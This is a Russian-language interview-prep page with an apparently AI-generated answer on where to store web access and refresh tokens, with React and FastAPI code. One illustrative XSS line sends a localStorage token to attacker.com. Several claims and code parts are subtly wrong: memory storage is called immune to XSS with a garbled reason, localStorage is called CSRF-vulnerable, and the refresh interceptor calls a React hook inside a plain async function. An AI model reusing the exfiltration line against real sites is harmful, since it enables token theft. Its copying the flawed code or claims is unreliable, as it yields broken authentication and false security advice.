← Назад к вопросам

Где хранить токен с ограниченным permission?

3.0 Senior🔥 121 комментариев
#Архитектура и паттерны#Браузер и сетевые технологии

Комментарии (1)

🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)

Ответ сгенерирован нейросетью и может содержать ошибки

Где хранить токен с ограниченным разрешением

Хранение токенов с ограниченными разрешениями критически важно для безопасности приложения. Выбор места хранения зависит от типа токена и уровня доступа.

Типы токенов и их разрешения

Токены отличаются по уровню доступа:

  1. Access Token (краткосрочный) — доступ к API, ограничен по времени (5-15 минут)
  2. Refresh Token (долгосрочный) — обновление access token, может быть скомпрометирован
  3. API Key — доступ к конкретному сервису с ограниченными функциями
  4. JWT Token — содержит информацию о пользователе и разрешениях

Место 1: Memory (оперативная память)

Хранение в переменной в памяти приложения — самый безопасный способ.

// contexts/AuthContext.tsx
interface AuthContextType {
  accessToken: string | null; // Хранится в памяти
  setAccessToken: (token: string) => void;
}

const AuthContext = createContext<AuthContextType | undefined>(undefined);

export function AuthProvider({ children }: { children: React.ReactNode }) {
  const [accessToken, setAccessToken] = useState<string | null>(null);

  const login = async (email: string, password: string) => {
    const response = await fetch('/api/auth/login', {
      method: 'POST',
      body: JSON.stringify({ email, password }),
    });
    
    const { accessToken } = await response.json();
    setAccessToken(accessToken); // Хранится только в памяти
  };

  return (
    <AuthContext.Provider value={{ accessToken, setAccessToken }}>
      {children}
    </AuthContext.Provider>
  );
}

Плюсы:

  • Защищено от XSS атак (не доступно window.location.href)
  • Не отправляется с каждым запросом автоматически
  • Удаляется при закрытии браузера

Минусы:

  • Теряется при перезагрузке страницы
  • Нужен refresh token для восстановления

Место 2: HttpOnly Cookie (самый безопасный для сессий)

HttpOnly Cookie — браузер не может получить доступ из JavaScript, защита от XSS.

// На бэкенде (Python/FastAPI)
from fastapi import Response
from datetime import timedelta

@app.post('/api/auth/login')
async def login(credentials: LoginRequest):
    # Валидация
    user = validate_credentials(credentials.email, credentials.password)
    
    access_token = create_access_token(user.id, expires_in=timedelta(hours=1))
    refresh_token = create_refresh_token(user.id, expires_in=timedelta(days=7))
    
    response = JSONResponse(
        status_code=200,
        content={'user': user.to_dict()}
    )
    
    # Отправить refresh token в HttpOnly cookie
    response.set_cookie(
        key='refreshToken',
        value=refresh_token,
        max_age=7 * 24 * 60 * 60,  # 7 дней
        httponly=True,  # Не доступно из JavaScript!
        secure=True,    # Только HTTPS
        samesite='Strict'  # Защита от CSRF
    )
    
    return response
// На фронтенде
// Refresh token автоматически отправляется с каждым запросом
// Но мы не можем его прочитать из JavaScript (HttpOnly)

const response = await fetch('/api/auth/refresh', {
  method: 'POST',
  credentials: 'include', // Отправить cookie
});

const { accessToken } = await response.json();
// Храним access token в памяти

Плюсы:

  • Защита от XSS (недоступно из JS)
  • Защита от CSRF (samesite=Strict)
  • Автоматически отправляется
  • Нельзя скопировать и украсть

Минусы:

  • Сложнее с мобильными приложениями
  • Нужна поддержка cookie на бэкенде

Место 3: LocalStorage (не рекомендуется)

LocalStorage — легко получить доступ, но уязвимо для XSS.

// ПЛОХО: Не используй для токенов!
const token = localStorage.getItem('accessToken');

// Если XSS атака:
fetch('https://attacker.com/steal?token=' + localStorage.getItem('accessToken'));

Плюсы:

  • Сохраняется после перезагрузки
  • Простая реализация

Минусы:

  • Уязвимо для XSS (window.localStorage доступно)
  • Уязвимо для CSRF
  • Доступно для вредоносных скриптов

Место 4: SessionStorage (только для сессии)

SessionStorage — аналог localStorage, но удаляется при закрытии вкладки.

// Можно использовать для временных токенов
const token = sessionStorage.getItem('accessToken');

// Удаляется при закрытии вкладки
// Всё ещё уязвимо для XSS

Плюсы:

  • Удаляется при закрытии вкладки
  • Не передаётся между вкладками

Минусы:

  • Всё ещё уязвимо для XSS
  • Необходимо повторное логирование

Рекомендуемая архитектура

Вариант 1: Refresh Token + Access Token (лучший подход)

// Архитектура:
// 1. Refresh Token (долгоживущий, недоступный из JS) -> HttpOnly Cookie
// 2. Access Token (краткосрочный) -> Memory (React State)
// 3. При каждом запросе отправляем Access Token в Authorization header
// 4. При истечении Access Token, refresh token восстанавливает его

// contexts/AuthContext.tsx
interface AuthContextType {
  accessToken: string | null;
  user: User | null;
  login: (email: string, password: string) => Promise<void>;
  logout: () => Promise<void>;
  refreshAccessToken: () => Promise<void>;
}

const AuthContext = createContext<AuthContextType | undefined>(undefined);

export function AuthProvider({ children }: { children: React.ReactNode }) {
  const [accessToken, setAccessToken] = useState<string | null>(null);
  const [user, setUser] = useState<User | null>(null);
  const [isLoading, setIsLoading] = useState(false);

  const login = async (email: string, password: string) => {
    setIsLoading(true);
    try {
      const response = await fetch('/api/auth/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        credentials: 'include', // Отправить cookie
        body: JSON.stringify({ email, password }),
      });

      const data = await response.json();
      setAccessToken(data.accessToken); // В памяти
      setUser(data.user);
      // Refresh token в HttpOnly cookie (автоматически)
    } finally {
      setIsLoading(false);
    }
  };

  const refreshAccessToken = async () => {
    try {
      const response = await fetch('/api/auth/refresh', {
        method: 'POST',
        credentials: 'include', // Отправить refresh token из cookie
      });

      if (response.ok) {
        const data = await response.json();
        setAccessToken(data.accessToken); // Обновить в памяти
      } else {
        logout();
      }
    } catch (error) {
      logout();
    }
  };

  const logout = async () => {
    await fetch('/api/auth/logout', {
      method: 'POST',
      credentials: 'include',
    });
    setAccessToken(null);
    setUser(null);
  };

  return (
    <AuthContext.Provider value={{ accessToken, user, login, logout, refreshAccessToken }}>
      {children}
    </AuthContext.Provider>
  );
}

API interceptor для автоматического refresh

// lib/api.ts
export async function fetchWithAuth(url: string, options: RequestInit = {}) {
  const { accessToken, refreshAccessToken } = useAuth();

  let response = await fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      'Authorization': `Bearer ${accessToken}`,
    },
  });

  // Если 401 Unauthorized, попробовать refresh
  if (response.status === 401) {
    await refreshAccessToken();
    // Повторить запрос с новым токеном
    const { accessToken: newToken } = useAuth();
    response = await fetch(url, {
      ...options,
      headers: {
        ...options.headers,
        'Authorization': `Bearer ${newToken}`,
      },
    });
  }

  return response;
}

Таблица сравнения методов

МетодБезопасностьПерсистентностьXSSCSRFРекомендация
MemoryВысокаяНетЗащищеноЗащищеноДля access token
HttpOnly CookieОчень высокаяДаЗащищеноЗащищеноДля refresh token
LocalStorageНизкаяДаУязвимоУязвимоНЕ использовать
SessionStorageНизкаяНетУязвимоУязвимоТолько тесты

Лучшие практики

  1. Используй HttpOnly cookies для refresh tokens — недоступно из JavaScript
  2. Хранись access tokens в памяти (State/Context) — удаляется при перезагрузке
  3. Отправляй access token в Authorization header — не в cookie
  4. Установи SameSite=Strict на cookies — защита от CSRF
  5. Используй HTTPS — защита от перехвата
  6. Минимизируй время жизни access token — 5-15 минут
  7. Максимизируй время жизни refresh token — до 7 дней
  8. Не хранись токены в localStorage — уязвимо для XSS
  9. Реализуй защиту от XSS — санитизация ввода, CSP headers
  10. Ротируй токены периодически — даже если не истекли
Где хранить токен с ограниченным permission? | PrepBro